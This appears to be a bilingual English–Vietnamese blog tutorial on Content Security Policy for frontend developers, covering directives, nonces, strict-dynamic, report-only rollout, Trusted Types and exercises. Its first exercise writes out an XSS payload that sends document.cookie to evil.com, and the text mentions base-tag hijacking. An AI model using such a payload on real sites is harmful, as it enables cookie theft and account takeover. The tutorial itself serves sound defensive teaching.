jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 3 — Content Security Policy (CSP)

How Content-Security-Policy contains XSS even when sanitization fails: directives, nonces, strict-dynamic, report-only rollout, Trusted Types, and a starter strict policy — with exercises.

Part 3 of 10 in the Web Security for Frontend Devs series {Phần 3/10 trong series Web Security for Frontend Devs}. Previous {Trước}: Part 2 — Cross-Site Scripting (XSS) · Next {Tiếp}: Part 4 — CSRF & SameSite Cookies.

This is Part 3 of a 10-part series on the web-security essentials every frontend developer should know — and actively prevent {Đây là Phần 3 của series 10 bài về những kiến thức bảo mật web mà mọi frontend dev nên biết — và chủ động phòng tránh}. Each part explains a real threat, shows vulnerable code, then the fix, and ends with exercises {Mỗi phần giải thích một mối đe dọa thật, cho xem code lỗ hổng, rồi cách sửa, và kết thúc bằng bài tập}.

Part 2 — Cross-Site Scripting (XSS) taught you to escape, sanitize, and avoid dangerous sinks {Phần 2 — XSS dạy escape, sanitize, và tránh sink nguy hiểm}. Content Security Policy (CSP) is the next layer: even if one XSS payload slips through, the browser refuses to run or load resources that violate your policy {CSP là lớp tiếp theo: dù một payload XSS lọt qua, trình duyệt từ chối chạy hoặc nạp tài nguyên vi phạm policy}. Think of CSP as a firewall inside the browser for what your page is allowed to execute and embed {Hãy coi CSP như tường lửa trong trình duyệt cho thứ trang được phép thực thi và nhúng}.


What CSP is {CSP là gì?}

Content Security Policy is an HTTP response header (or, with limits, a <meta> tag) that delivers a set of directives {Content Security Policy là header phản hồi HTTP (hoặc, có giới hạn, thẻ <meta>) chứa tập directive}. The browser evaluates every script, stylesheet, image, fetch, font, frame, and more against those rules before applying them to your document {Trình duyệt đánh giá mọi script, stylesheet, image, fetch, font, frame, v.v. theo quy tắc đó trước khi áp dụng vào document}.

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'

Unlike input sanitization (which must be perfect on every code path), CSP is defense in depth {Khác với sanitize input (phải hoàn hảo trên mọi code path), CSP là phòng thủ nhiều lớp}: one missed escape in a template does not automatically mean arbitrary script execution if script-src blocks it {một chỗ escape sót trong template không tự động đồng nghĩa chạy script tùy ý nếu script-src chặn}. It does not replace XSS prevention — it contains damage when prevention fails {Nó không thay thế phòng XSS — nó kìm thiệt hại khi phòng thủ hỏng}.

Browser about to load CSP policy script-src 'self' 'nonce-r4nd' self / nonce ✓ allow inline / evil.com blocked + report deny
CSP evaluates every load against your policy — allowed origins and nonces pass; inline and unknown hosts are blocked (and can be reported)

Core directives you will actually set {Directive cốt lõi bạn thực sự cần set}

Directives are name value value … pairs, semicolon-separated {Directive là cặp tên giá trị giá trị …, phân tách bằng dấu chấm phẩy}. If you only memorize a handful, make it these {Nếu chỉ nhớ vài cái, hãy là những cái này}:

DirectiveWhat it controls {Điều khiển gì}
default-srcFallback for most fetch directives when not overridden {Mặc định cho hầu hết directive fetch khi không ghi đè}
script-srcJavaScript (<script>, event handlers, import(), workers in some cases) {JavaScript}
style-srcCSS (<link rel=stylesheet>, <style>, inline style="") {CSS}
img-srcImages (<img>, background-image from allowed URLs) {Ảnh}
connect-srcfetch, XHR, WebSocket, EventSource targets {fetch, XHR, WebSocket, EventSource}
font-src@font-face and web fonts {Font web}
frame-src<iframe> / <frame> children you embed {<iframe> bạn nhúng}
frame-ancestorsWho may embed your page in their iframe (clickjacking — Part 7) {Ai được nhúng trang bạn — clickjacking (Phần 7)}
base-uriValid targets for <base href> (blocks base-tag hijacking) {Mục tiêu hợp lệ của <base href>}
form-actionWhere <form> may submit {Nơi <form> được submit}
object-srcPlugins (<object>, <embed>, <applet>) — set 'none' {Plugin — nên 'none'}
upgrade-insecure-requestsUpgrade passive HTTP subresources to HTTPS {Nâng subresource HTTP thụ động lên HTTPS}

object-src 'none' closes a legacy hole attackers still probe {object-src 'none' đóng lỗ legacy kẻ tấn công vẫn thử}. base-uri 'self' stops an injected <base href="https://evil.com"> from rewriting all relative URLs on the page {base-uri 'self' chặn <base href="https://evil.com"> tiêm vào làm đổi mọi URL tương đối}. frame-ancestors is the modern way to say “do not let evil.com frame my bank UI” — pair it with Part 7 and the header stack in Part 8 {frame-ancestors là cách hiện đại nói “đừng cho evil.com frame UI ngân hàng của tôi” — kết hợp Phần 7 và stack header Phần 8}.


Source expressions: allow, deny, and foot-guns {Biểu thức nguồn: cho phép, chặn, và tự bắn vào chân}

Each directive value is a source list {Mỗi giá trị directive là danh sách nguồn}:

  • 'self' — same origin as the document (scheme + host + port) {cùng origin với document}
  • 'none' — block this category entirely {chặn hẳn loại này}
  • Host allowlistshttps://cdn.example.com, https://*.example.com (wildcards only in the leftmost label) {danh sách host — wildcard chỉ ở nhãn trái nhất}
  • 'unsafe-inline' — allow inline <script> and onclick="..." {cho phép inline script và handler}
  • 'unsafe-eval' — allow eval(), new Function(), some bundler patterns {cho phép eval(), new Function(), một số pattern bundler}

'unsafe-inline' and 'unsafe-eval' largely defeat the XSS containment goal {'unsafe-inline''unsafe-eval' phá hầu hết mục tiêu kìm XSS}. If your policy includes them because “the app broke,” you have documented that any injected inline script is allowed — the same class of bug Part 2 describes {Nếu policy có chúng vì “app lỗi,” bạn đã ghi nhận mọi script inline tiêm vào đều được phép — đúng loại lỗi Phần 2 mô tả}. Fix the architecture (nonces or hashes) instead of weakening CSP permanently {Sửa kiến trúc (nonce hoặc hash) thay vì làm CSP yếu vĩnh viễn}.


Modern strict CSP: nonces, hashes, and 'strict-dynamic' {CSP strict hiện đại: nonce, hash, và 'strict-dynamic'}

A nonce is a cryptographically random token generated per response on the server, included in both the CSP header and matching tags {Nonce là token ngẫu nhiên mạnh sinh mỗi response trên server, có trong cả header CSP và thẻ khớp}:

Content-Security-Policy: script-src 'nonce-a1b2c3d4e5' 'strict-dynamic'; object-src 'none'; base-uri 'self'
<script nonce="a1b2c3d4e5" src="/assets/app.js"></script>
<script nonce="a1b2c3d4e5">
  // This inline block runs only because the nonce matches.
</script>

Rules that matter in production {Quy tắc quan trọng trên production}:

  • Generate a fresh nonce every response; never reuse across users or pages {Sinh nonce mới mỗi response; không tái dùng giữa user hay trang}.
  • Put the nonce on every intentional script tag, including JSON bootstrap blocks your framework emits {Gắn nonce lên mọi thẻ script chủ đích, kể cả block bootstrap JSON framework phát ra}.
  • 'strict-dynamic' allows scripts trusted by nonce/hash to load further scripts (e.g. dynamic import() from your bundle) without listing every CDN hostname {'strict-dynamic' cho script được tin qua nonce/hash nạp thêm script (vd import() động từ bundle) mà không liệt kê mọi hostname CDN}.

A hash ('sha256-…', 'sha384-…', 'sha512-…') pins an exact inline script body {Hash ghim đúng nội dung inline script}. Useful for tiny inline bootstraps you cannot nonce easily, but brittle when bytes change {Hữu ích cho bootstrap inline nhỏ khó nonce, nhưng dễ gãy khi byte đổi}:

Content-Security-Policy: script-src 'sha256-abc123…base64…' 'strict-dynamic'

Do not mix 'unsafe-inline' with nonces in a policy you rely on — browsers treat that combination inconsistently, and attackers abuse the ambiguity {Đừng trộn 'unsafe-inline' với nonce trong policy bạn tin cậy — trình duyệt xử lý không nhất quán, kẻ tấn công lợi ambiguity}.

The nonce must be generated on the server (or edge) per response — never hard-coded in static HTML committed to git {Nonce phải sinh trên server (hoặc edge) mỗi response — không hard-code trong HTML tĩnh commit lên git}:

import { randomBytes } from 'node:crypto';

export function cspNonce(): string {
  return randomBytes(16).toString('base64');
}

// middleware (Express-style): set header + pass nonce to template
export function cspMiddleware(
  req: { locals: { cspNonce?: string } },
  res: { setHeader: (name: string, value: string) => void; locals: { cspNonce?: string } },
  next: () => void,
): void {
  const nonce = cspNonce();
  res.locals.cspNonce = nonce;
  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`,
  );
  next();
}

Your HTML template then renders <script nonce="${cspNonce}"> using the same value {Template HTML render <script nonce="${cspNonce}"> với cùng giá trị}. Frameworks (Next.js, Nuxt, Rails, Laravel) expose hooks for this pattern — search for “CSP nonce” in your stack rather than inventing a client-side workaround {Framework (Next.js, Nuxt, Rails, Laravel) có hook cho pattern này — tìm “CSP nonce” trong stack của bạn thay vì workaround phía client}.


Report-Only: measure before you enforce {Report-Only: đo trước khi ép}

Ship breaking CSP on Friday night is how teams turn it off forever {Triển khai CSP phá app đêm thứ Sáu là cách team tắt nó mãi}. Use Content-Security-Policy-Report-Only with the same directive string first {Dùng Content-Security-Policy-Report-Only với cùng chuỗi directive trước}: violations are logged but not blocked {vi phạm được ghi nhưng không chặn}.

Content-Security-Policy-Report-Only: script-src 'self' 'nonce-REPORT_TEST'; report-uri /csp-report
Report-To: csp-endpoint

Modern reporting prefers Report-To (Reporting API) with a report-to directive in CSP; report-uri is deprecated but still seen in the wild {Reporting hiện đại ưu tiên Report-To với directive report-to trong CSP; report-uri deprecated nhưng vẫn gặp}. Tune until noise is low, then flip to enforcing Content-Security-Policy {Chỉnh đến khi ít nhiễu, rồi bật Content-Security-Policy ép}.


Trusted Types via CSP {Trusted Types qua CSP}

Part 2 introduced Trusted Types as a way to block assigning raw strings to DOM XSS sinks {Phần 2 giới thiệu Trusted Types chặn gán chuỗi thô vào sink XSS DOM}. CSP can require it:

Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default

With this enabled, element.innerHTML = userInput throws unless userInput is a TrustedHTML produced by your policy {Khi bật, element.innerHTML = userInput ném lỗi trừ khi userInputTrustedHTML do policy tạo}. Pair sanitize-on-output (Part 2) + CSP + Trusted Types for the strongest client-side stack browsers support today {Kết hợp sanitize khi output (Phần 2) + CSP + Trusted Types cho stack phía client mạnh nhất trình duyệt hỗ trợ hiện nay}.


Common mistakes (and how attackers exploit them) {Lỗi phổ biến (và cách kẻ tấn công lợi dụng)}

Over-broad script allowlists {Allowlist script quá rộng}. Allowing https://ajax.googleapis.com or a generic JSONP endpoint effectively allows arbitrary script from paths the attacker controls {Cho phép endpoint JSONP chung coi như cho script tùy ý từ path kẻ tấn công kiểm soát}. Prefer 'self' + nonce + 'strict-dynamic' over long CDN lists {Ưu tiên 'self' + nonce + 'strict-dynamic' hơn danh sách CDN dài}.

Forgetting object-src 'none' and base-uri 'self' {Quên object-src 'none'base-uri 'self'}. These are cheap wins attackers still use when script-src looks “strict” {Đây là thắng lợi rẻ kẻ tấn công vẫn dùng khi script-src trông “strict”}.

Defaulting to 'unsafe-inline' for styles is common (style-src 'self' 'unsafe-inline') because CSS-in-JS and frameworks inject <style> blocks {Mặc định 'unsafe-inline' cho style phổ biến vì CSS-in-JS/framework chèn <style>}. That is a separate risk surface (data exfil via CSS) — tighten when you can with nonces or external stylesheets {Đó là mặt rủi ro khác (rò dữ liệu qua CSS) — siết khi có thể bằng nonce hoặc stylesheet ngoài}.

Meta-tag CSP cannot set frame-ancestors, report-uri, report-to, or sandbox — and only the first meta CSP in the document applies {CSP thẻ meta không set được frame-ancestors, report-uri, report-to, hay sandbox — và chỉ meta CSP đầu trong document có hiệu lực}. Prefer response headers from your host or reverse proxy (Part 8) {Ưu tiên header phản hồi từ host hoặc reverse proxy (Phần 8)}.


A starter strict policy {Policy strict khởi đầu}

Adapt hostnames and reporting to your stack; this is a baseline, not copy-paste production truth {Điều chỉnh hostname và reporting theo stack; đây là nền, không phải chân lý production copy-paste}:

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-REPLACE_PER_RESPONSE' 'strict-dynamic';
  style-src 'self';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self';
  frame-src 'none';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  object-src 'none';
  upgrade-insecure-requests;

On static hosts (GitHub Pages, Cloudflare Pages, Netlify), set headers in _headers, netlify.toml, or dashboard config — not in client JS {Trên host tĩnh, set header trong _headers, netlify.toml, hoặc dashboard — không trong JS client}. Fallback when you cannot touch headers:

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; script-src 'self' 'nonce-REPLACE'; object-src 'none'; base-uri 'self'"
/>

Remember: meta cannot protect framing (frame-ancestors) or centralized reporting {Nhớ: meta không bảo vệ framing (frame-ancestors) hay reporting tập trung}.


How this fits the series {Vị trí trong series}

LayerPartRole {Vai trò}
Prevent injectionPart 2 — XSSEscape, sanitize, avoid sinks {Escape, sanitize, tránh sink}
Contain executionPart 3 — CSP (this post)Block unauthorized script/load even if HTML is poisoned {Chặn script/load trái phép dù HTML bị độc}
Stop being framedPart 7 — Clickjackingframe-ancestors / XFO {frame-ancestors / XFO}
Ship headers correctlyPart 8 — Secure headers & TLSHSTS, CSP delivery, MIME sniffing {HSTS, giao CSP, chống sniff MIME}

CSP is not magic: it does not validate your API, stop CSRF, or fix CORS {CSP không phải phép thuật: không validate API, không chặn CSRF, không sửa CORS}. It is the layer that answers: “If HTML is wrong, what still cannot run?” {Nó trả lời: “Nếu HTML sai, thứ gì vẫn không chạy được?”}


Bài tập / Exercises

1. You inherit script-src 'self' https://cdn.example.com 'unsafe-inline'. An attacker injects <script>fetch('https://evil.com?c='+document.cookie)</script>. Does CSP block it? What two directive changes fix it without 'unsafe-inline'? {Bạn nhận script-src 'self' https://cdn.example.com 'unsafe-inline'. Kẻ tấn công tiêm <script>fetch('https://evil.com?c='+document.cookie)</script>. CSP có chặn không? Hai thay đổi directive nào sửa mà không cần 'unsafe-inline'?}

Solution {Lời giải}

No'unsafe-inline' explicitly allows inline <script> blocks, so the injected tag runs {Không'unsafe-inline' cho phép khối <script> inline, nên thẻ tiêm chạy}. Fix: remove 'unsafe-inline', add a per-response 'nonce-…' on legitimate scripts (and 'strict-dynamic' if the bundle loads more scripts), keep 'self' only if you truly need same-origin scripts without nonces {Sửa: bỏ 'unsafe-inline', thêm 'nonce-…' mỗi response trên script hợp lệ (và 'strict-dynamic' nếu bundle nạp thêm script), giữ 'self' chỉ khi thật cần script same-origin không nonce}. Optionally drop broad CDN allowlists if JSONP or user-controlled paths exist there {Có thể bỏ allowlist CDN rộng nếu có JSONP hay path do user kiểm soát}.

2. Why should object-src and base-uri appear in a “script-focused” CSP, even when you do not use <object> or <base> today? {Vì sao object-srcbase-uri nên có trong CSP “tập trung script” dù hôm nay bạn không dùng <object> hay <base>?}

Solution {Lời giải}

Attackers do not care about your feature roadmap {Kẻ tấn công không quan tâm roadmap tính năng}. object-src 'none' blocks plugin surfaces that bypass script-src expectations {object-src 'none' chặn mặt plugin vượt kỳ vọng script-src}. base-uri 'self' stops a single injected <base href="https://evil.com/"> from retargeting every relative URL (scripts, images, forms) to an attacker origin {base-uri 'self' chặn một <base href="https://evil.com/"> tiêm làm mọi URL tương đối trỏ sang origin kẻ tấn công}. Both are one-line, high-leverage hardening {Cả hai là một dòng, hardening hiệu quả cao}.

3. Write the two response headers for a report-only rollout that will later enforce script-src 'nonce-abc' 'strict-dynamic' and sends reports to /csp-violations. {Viết hai header phản hồi cho rollout report-only sau này sẽ ép script-src 'nonce-abc' 'strict-dynamic' và gửi report tới /csp-violations.}

Solution {Lời giải}
Content-Security-Policy-Report-Only: script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'; base-uri 'self'; report-uri /csp-violations

After violations are clean, add the enforcing header (same directives, without -Report-Only) {Sau khi vi phạm sạch, thêm header ép (cùng directive, không -Report-Only)}:

Content-Security-Policy: script-src 'nonce-abc' 'strict-dynamic'; object-src 'none'; base-uri 'self'

In production, prefer report-to + Report-To JSON over legacy report-uri when your collector supports it {Trên production, ưu tiên report-to + JSON Report-To hơn report-uri legacy khi collector hỗ trợ}.

Stretch {Nâng cao}: In DevTools → Network, load a page with a strict CSP and trigger a blocked inline script (or use the Issues panel). Capture the violation report fields (blocked-uri, violated-directive, source-file). Explain what you would change in the policy vs in the app code. {Trong DevTools → Network, tải trang CSP strict và kích hoạt script inline bị chặn (hoặc panel Issues). Ghi các trường báo cáo vi phạm (blocked-uri, violated-directive, source-file). Giải thích bạn sửa policy hay code app.}


Key takeaways {Điểm chính}

  • CSP is a response-header policy that limits which scripts, styles, images, fetches, and frames may load — defense in depth after Part 2 XSS prevention {CSP là policy header phản hồi giới hạn script, style, image, fetch, frame được nạp — phòng thủ nhiều lớp sau phòng XSS Phần 2}.
  • 'unsafe-inline' / 'unsafe-eval' undo most XSS containment; prefer nonces, hashes, and 'strict-dynamic' {'unsafe-inline' / 'unsafe-eval' phá hầu hết kìm XSS; ưu tiên nonce, hash, 'strict-dynamic'}.
  • Always set object-src 'none', base-uri 'self', and plan frame-ancestors with Part 7 {Luôn set object-src 'none', base-uri 'self', và lên kế hoạch frame-ancestors với Phần 7}.
  • Roll out with Content-Security-Policy-Report-Only first; deliver via server headers (Part 8), not meta, when you need framing protection and reporting {Triển khai bằng Content-Security-Policy-Report-Only trước; giao qua header server (Phần 8), không meta, khi cần bảo vệ framing và reporting}.
  • require-trusted-types-for 'script' pairs CSP with DOM sink enforcement from Part 2 {require-trusted-types-for 'script' ghép CSP với ép sink DOM từ Phần 2}.

Next up {Tiếp theo}

Part 4 — CSRF & SameSite Cookies: the attack that abuses the browser’s automatic cookie sending — and how SameSite, tokens, and double-submit cookies stop it {Phần 4 — CSRF & SameSite Cookies: tấn công lợi dụng việc trình duyệt tự gửi cookie — và cách SameSite, token, double-submit cookie chặn}. Continue to Part 4 — CSRF & SameSite Cookies.